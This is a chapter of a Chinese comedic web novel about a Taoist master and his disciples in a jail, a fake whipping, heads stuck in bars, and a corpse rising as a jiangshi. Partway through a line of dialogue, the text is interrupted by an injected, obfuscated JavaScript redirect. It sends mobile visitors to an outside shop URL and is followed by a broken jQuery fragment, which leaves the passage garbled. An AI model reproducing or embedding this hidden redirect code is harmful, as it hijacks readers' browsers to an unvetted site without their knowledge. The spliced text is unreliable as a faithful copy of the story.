黑云缓缓掩过屋瓦上空的一轮圆月,阵阵凉意从四面八方聚到一处,顺着衙门打开的木门涌进大牢。
一盆烧红的炭火间冒着火苗,点点闪烁的火星从缝隙里窜出,飘到半空悄然熄灭。
啪!
一根鞭子狠狠甩下,打在摆满各种铁制刑具的桌子上,厚厚一层灰尘被鞭子带起,连同垂下桌面的锁链也跟着晃了晃。
“今天,我就要为我表叔报仇。”
萧旭看向一旁抱着柱子,全身都被绑起来的斗米道长,拉起鞭子在手里扯了扯,走一步邪笑着耸一下肩,缓缓来到他身后。
“说,你为什么杀我表叔!”
“我为什么杀你表叔呀?”
斗米道长用力挣扎几下,扭过头看着身后的萧旭,见他一手松开手里的鞭子,又扭了扭手腕,连忙出声问道。
“嘴真硬,你知不知道这是什么字啊?”
萧旭说罢,从怀里掏出一张纸抬手抖开,凑到斗米道长眼前抖了抖。
啪!
“喂,你别乱来啊!”
斗米道长扭着脖子抬头看着纸上大大的一个痛字,耳旁又传来鞭子重重甩到地上的声音。
他奋力挣扎着想挣脱,奈何整个人都被紧紧捆在柱子上,只有头能勉强活动,急切地扭头看向身后的萧旭。
“我为什么不能乱来啊?”
“以前,我都是把人绑在凳子上,用这根鞭子狠、狠地抽,抽到屁股那叫一个血肉模糊啊……”
萧旭边说着边抬起手拍了拍斗米道长的屁股。
“不过现在我决定绑在柱子上,不仅不容易抽空,还能防止你乱动。诶,但是你放心!效果还是跟纸上那个字一样滴。”
“唔——”
他说着,手上用力捏了一把。斗米道长猛地抬起头,鼓着腮帮子瞪大眼睛往前缩了一下。
啪!
“啊——”
萧旭说罢,抬起手半蹲身子,甩手用力打下一鞭子,斗米道长的惨叫声霎时响彻整个大牢,在牢房间回荡着。
啪!啪!啪!
“啊——”
一连几鞭子下去,惊得牢房里靠墙坐着的陆十七和张凌尧身形一颤,扭头相视一眼连忙起身,走到铁栏前挣扎着探出头。
“喂!萧旭你……”
张凌尧急迫地扭头往一旁看去,刚喊出口的话硬生生咽了下去。
“嗯?”
萧旭疑惑地回头看了一眼探出头望着他的两人,继续俯下身抬手又打了一鞭。
啪!
“啊……”
斗米道长睁开一只眼看着斜对面的两人,咽了咽口水撇过头,闭上眼弱弱地喊了一声。
两人定睛一看这才发现萧旭跟前有个陀螺,他一鞭子一鞭子抽着,玩得正起劲,而斗米道长被绑在柱子上,鞭子一响他就配合地喊一声,只是声音越来越弱了。
从铁栏杆里探出头的两人瞳孔间光彩一暗,扭头对视一眼便想缩回头去。
“等,等一下!”
张凌尧撑着栏杆试探性地缩了缩,发现似乎卡住了,他停顿片刻又探出去,猛然用力缩却卡得死死的。
一旁的陆十七看着他满脸惊恐的模样,自己也缩了缩发现卡住了,闭上眼深吸一口气索性不动了。
张凌尧抬起腿蹬着矮墙用力挣扎几次后停下来,侧目看向一旁垂着眼一动不动的陆十七,眼底一抹光彩闪过。
“诶,十七,我有个好办法,我帮你回去怎么样?”
陆十七斜眼看着他,见他立刻收起嘴角的笑意满脸真诚望着自己,他挑起眉望着他开口。
“你先说。”
“说……多没意思啊,直接来!”
张凌尧话音未落伸出手一把扯下陆十七的腰带,随即把手探到他衣领处一扯,身旁的身影猛然一缩,抬手把衣服拉回去。
“你看,这才有用嘛……”
他看着陆十七确实缩回去了,但衣领被自己扯得凌乱,忍不住笑得弯下腰,把手里的腰带颤悠悠递出去。
“行,我也好好帮帮你。”
陆十七理了理衣襟,扯起嘴角看着他,伸手拿过自己的腰带。
“不过这个方法对我无效,你还是再好好想想吧。”
张凌尧笑了许久才缓过来,勉强站直身子,双手叉在腰间抬头又缩了缩,还是没缩回去。
“办法多的是,总有一个对你有效。”
陆十七说着,把腰带重新系好,从身侧的布袋里拿出一把匕首拔开。
“诶——你想干嘛!”
张凌尧听见声音瞳孔骤然放大,扭头盯着他的动作,连忙撑着栏杆用力缩了缩。
陆十七握着刀柄,从布袋里掏出一张符纸贴到刀身上,口中默念几句,伸出栏杆外横在前方,另一只手对着刀身凭空画了几笔,掌心用力拍向刀柄。
“诶——别!”
锋利的刀尖在张凌尧眸中放大,他惊得迅速往后缩,凌厉的寒风从眼前划过,隔着鼻尖半寸的距离径直刺入一侧的墙壁中。
“呼……也太狠了……”
张凌尧踉跄后退半步,僵直身子站在原地,双眼盯着刀身上晃动的符纸大口喘气。
“看来这个方法确实有效。”
陆十七说罢,转身退到墙根盘腿坐下开始打坐。
啪!
这边,萧旭玩累了,朝一旁伸出手,手下立马递来一块帕子。他喘着粗气擦了擦额头,把帕子递给手下后,走到斗米道长身后拍了拍他的后背。
“你要是不想自己跟这个陀螺一样被狠狠抽打,那么就在明天天亮之前就把供词想好。”
“如果……”
“如果天亮之前你不把我放了,一切后果由你自负。”
斗米道长扭头看着他说罢,又挣了挣绳子。
“诶呀……你还嘴硬,岂有此理!来人,把他给我押下去!”
萧旭把鞭子折起来别回腰间,伸手接过手下递来的手帕擦了擦手。
两个捕快手脚麻利地把斗米道长解开,押着他送回关着另外两人的牢房里。
萧旭走到一旁的矮桌边,看着桌上青灰的脸上双眼瞪大,眼角微微渗血的杜老爷尸体,半跪下握了握拳。
“表叔,我一定会为你报仇的,你安息吧……”
说罢,他伸手覆在尸体额头往下抹,把那双空洞死寂的眼睛阖上,撇过头起身离开。
还未等他走远,尸体合上的眼睛猛然睁开,死死盯着屋顶,微张的双唇间吐出一口寒气。
这边,牢房大门刚刚锁上,刺耳的锁链声在耳畔刮蹭。
与此同时,屋顶上一抹鲜红爬上房头,趴在屋脊后够出脑袋观察着下方的动静。
牢房内,斗米道长站在门口背起手望着两人。
“哎,也不知道她们那边怎么样了……”
“师父你不是故意进来的吗,你怎么还急上了?”
“嗯?此话怎讲啊?”
“切……你会这么乖跟着萧旭回来坐牢,我才不信呢……”
张凌尧拍拍衣摆后退半步,靠着墙根坐到陆十七身旁。
“僵尸杀了杜老爷,按理说下一个要找的就是小玉,不过……”
“不过什么,难道……跟桑久有关?”
张凌尧见师父欲言又止,垂眸间瞳孔骤然一缩,抬起头望着师父问。
“嗯。如果我猜的没错的话,小久身上应该带了什么东西或者有什么特质,以致于她对僵尸有一种莫名的吸引力。”
斗米道长说罢,扭头望向闭眼专心打坐的陆十七。
“真的吗?那你知道是因为她还是她带了什么东西?”
张凌尧两眼放光转头看着身旁陆十七,可他没有一点反应。
吸引僵尸?
那为什么上次那只僵尸只追我不追她?
“诶,这件事事关小久的秘密,在她不打算主动提之前不要去追问。”
“是,师父……”
听见师父的训斥,张凌尧回过头默默垂下眼。
“我之所以要到这来,不仅是因为想通过她把僵尸引过来,以便确认她的特殊,还是因为杜老爷的尸体被萧旭带回来,迟早会变成僵尸,如果能一起处理
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665982|207092||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
最好。”
斗米道长说着,凑到栏杆前探出头,观察着那边安静躺着的尸体,见尸体没有动静稍稍松了口气。
“还没动静……”
他话音刚落,想把头缩回来却发现似乎卡住了,他急忙攥紧栏杆用力缩,结果下颌擦得发红依旧没挣脱。
屋顶那抹鲜红见捕快离开后没再回来,把怀里的东西丢下来,从房上跳下,贴着墙轻步走到牢门前。
她扭过头刚好跟斗米道长对上视线,惊得虎躯一颤。
“哎哟!七叔,你吓我一跳……”
桑久拍着胸脯看了看牢房里的几人。
“噗——师父,你不会也……哈哈哈——”
张凌尧听见她的话抬头见师父正把脑袋探出栏杆外,显然是卡住了,压着嘴角憋了一下还是没忍住,笑得趴到陆十七身上。
“还笑!还不快过来帮我把头弄回来!”
“噗嗤……”
斗米道长扭头看着墙根的张凌尧恨铁不成钢地怒怼一声,回过头斜眼又见一旁的桑久浑身颤抖紧紧捂着嘴,笑意全从眼睛里露了出来。
“哦……好。”
张凌尧起身歪着头跟桑久相视偷偷一笑,朝她挤挤眼睛连忙在斗米道长扭头之前压住嘴角。
他刚往前迈出半步,陆十七伸手抓住他的衣摆,睁开眼抬头看着他。
“别慌,我懂,我都懂。”
张凌尧朝他抬抬下巴,转身走到斗米道长背后,垂下眼思索着。
桑久跑到另一端躲在墙后探出半个脑袋,凑到栏杆前望着里面起身拍着衣摆的陆十七。
“十七!十七——”
陆十七正拍着袖子,听见呼唤抬起头,朝她的方向看去时微微笑了一下。
“女侠,帮忙去那边拿条板凳过来。”
张凌尧走到桑久跟前抬手示意她往一侧看去。
桑久点点头立马把板凳拿过来,抱在手里又见张凌尧示意她去打斗米道长。
“这,能行吗……”
“喂,臭小子你使什么阴招呢!”
斗米道长话音刚落,桑久已经举起板凳用力朝这边猛然砸过来,斗米道长见此两眼猛睁迅速朝里缩去。
砰!
板凳重重砸在栏杆上,铁栏抖动一瞬,桑久连忙把凳子放下,双手放在身侧搓了搓。
“好啊你们两个……死小子!”
斗米道长指着他们俩迅速摸了摸自己完好的脑袋,见桑久双手放在身前俨然一副乖巧模样,他扭头抱住张凌尧的头用力给了他肚子一拳,打得他踉跄后退,立刻抓住陆十七的胳膊才站稳。
桑久抿着嘴见张凌尧这副模样,自己的乖巧样子也装不下去了,扭头捂着嘴小声笑。
“东西带来没有?”
“带来了。”
斗米道长跟桑久一同蹲下,看着她拿下套在脖子上的布袋,接过后打开把东西拿出来。
“鸡血,黑墨,黄符,墨斗。”
桑久跟着斗米道长拿东西的动作数着里面的东西。
“糯米呢?”
“带来了,还热着呢,我去找持玉拿的,你们趁热吃吧。”
另外两人凑过来看着斗米道长从布袋里拿出一大碗荷叶包着的糯米饭,上面还有几点橘红的枸杞点缀着。
“熟的?我要生糯米洒在它周围挡住它的尸气呀……”
“诶嘿,我要,我吃,刚好我饿了。”
斗米道长扭头看着张凌尧拿走他手里的碗,盯着他翻了个白眼。
“生的也有。”
桑久从一旁提出一袋糯米,放到脚边蹲下身拍了拍米袋。
“不行,这些糯米恐怕不够……”
斗米道长伸手打开糯米袋,抓起一把放在手心揉了揉。
“啊?不是就对付它吗?”
“另一只僵尸估计也会往大牢这边来。”
桑久疑惑地扭头看向陆十七,见他微微摇头,倒吸一口凉气时不经意往一旁瞥了一眼,又猛地抬起头盯着那处。
“怎么办,现在……它,它动了,七叔,你看它动了!”